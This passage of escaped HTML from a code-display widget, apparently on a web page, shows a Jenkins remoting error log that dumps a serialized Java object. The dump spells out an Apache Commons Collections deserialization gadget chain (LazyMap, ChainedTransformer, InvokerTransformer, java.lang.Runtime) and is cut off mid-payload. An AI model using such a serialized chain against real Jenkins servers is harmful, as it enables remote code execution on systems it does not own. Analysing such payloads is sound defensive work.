class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">22<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">41<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PM <\/span><span class=\"crayon-v\">hudson<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">remoting<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">SynchronousCommandTransport<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">ReaderThread <\/span><span class=\"crayon-e\">run<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e8356a268343804-2\"><span class=\"crayon-v\">SEVERE<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">I<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-i\">O<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">error <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">channel <\/span><span class=\"crayon-e\">HTTP <\/span><span class=\"crayon-v\">full<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">duplex <\/span><span class=\"crayon-e\">channel <\/span><span class=\"crayon-v\">a403c455<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">3b83<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">4890<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">b304<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">ec799bffe582<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e8356a268343804-3\"><span class=\"crayon-v\">hudson<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">remoting<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">DiagnosedStreamCorruptionException<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e8356a268343804-4\"><span class=\"crayon-e\">Read <\/span><span class=\"crayon-v\">back<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xac<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xed<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x05<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;sr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/org.apache.commons.collections.map.ReferenceMap&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x15<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x94<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xca<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x98<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;I&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x08<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xd7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;xpw&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x11<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x01<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;?@&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x10<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;sr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;(java.util.concurrent.CopyOnWriteArraySetK&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xbd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xd0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x92<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x90<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x15<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;i&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xd7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x01<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;L&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;alt&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;+Ljava\/util\/concurrent\/CopyOnWriteArrayList;xpsr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;)java.util.concurrent.CopyOnWriteArrayListx]&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x9f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xd5<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;F&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xab<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x90<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xc3<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;xpw&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x04<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;sr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;*java.util.concurrent.ConcurrentSkipListSet&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xdd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x98<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;Py&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xbd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xcf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xf1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;[&#8216;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x01<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;L&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x01<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;mt&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;-Ljava\/util\/concurrent\/ConcurrentNavigableMap;xpsr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;*java.util.concurrent.ConcurrentSkipListMap&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x88<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;Fu&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xae<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x06<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x11<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;F&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xa7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x01<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;L&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0a<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e8356a268343804-5\"><span class=\"crayon-s\">&#8216;comparatort&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x16<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;Ljava\/util\/Comparator;xppsr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x1a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;java.security.SignedObject&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x09<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xff<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xbd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;h*&lt; &#8216;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xd5<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xff<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;[&#8216;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x07<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;contentt&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;[B[&#8216;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x09<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;signatureq&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;~&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;L&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;thealgorithmt&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x12<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;Ljava\/lang\/String;xpur&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;[B&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xac<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xf3<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xf8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x06<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x08<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;T&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xe0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;xp&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x05<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x01<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xac<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xed<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x05<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;sr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x11<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;java.util.HashSet&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xba<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;D&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x85<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x95<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x96<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xb8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xb7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;4&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;xpw&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;?@&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x01<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;sr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;4org.apache.commons.collections.keyvalue.TiedMapEntry&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x8a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xad<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xd2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x9b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;9&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xc1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x1f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xdb<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;L&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;keyt&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x12<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;Ljava\/lang\/Object;L&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;mapt&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;Ljava\/util\/Map;xpt&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x06<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;randomsr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;*org.apache.commons.collections.map.LazyMapn&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xe5<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x94<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x82<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x9e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;y&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x10<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x94<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x01<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;L&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x07<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;factoryt&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;,Lorg\/apache\/commons\/collections\/Transformer;xpsr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;:org.apache.commons.collections.functors.ChainedTransformer0&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xc7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x97<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xec<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;(z&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x97<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x04<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x01<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;[&#8216;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0d<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;iTransformerst&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;-[Lorg\/apache\/commons\/collections\/Transformer;xpur&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;-[Lorg.apache.commons.collections.Transformer;&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xbd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;V*&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xf1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xd8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;4&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x18<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x99<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;xp&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x05<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;sr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;;org.apache.commons.collections.functors.ConstantTransformerXv&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x90<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x11<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;A&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xb1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x94<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x01<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;L&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x09<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;iConstantq&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;~&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;xpvr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x11<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;java.lang.Runtime&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;xpsr&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;:org.apache.commons.collections.functors.InvokerTransformer&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x87<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xe8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xff<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;k{|&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xce<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;8&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;[&#8216;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x05<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;iArgst&#8217;<\/span><span 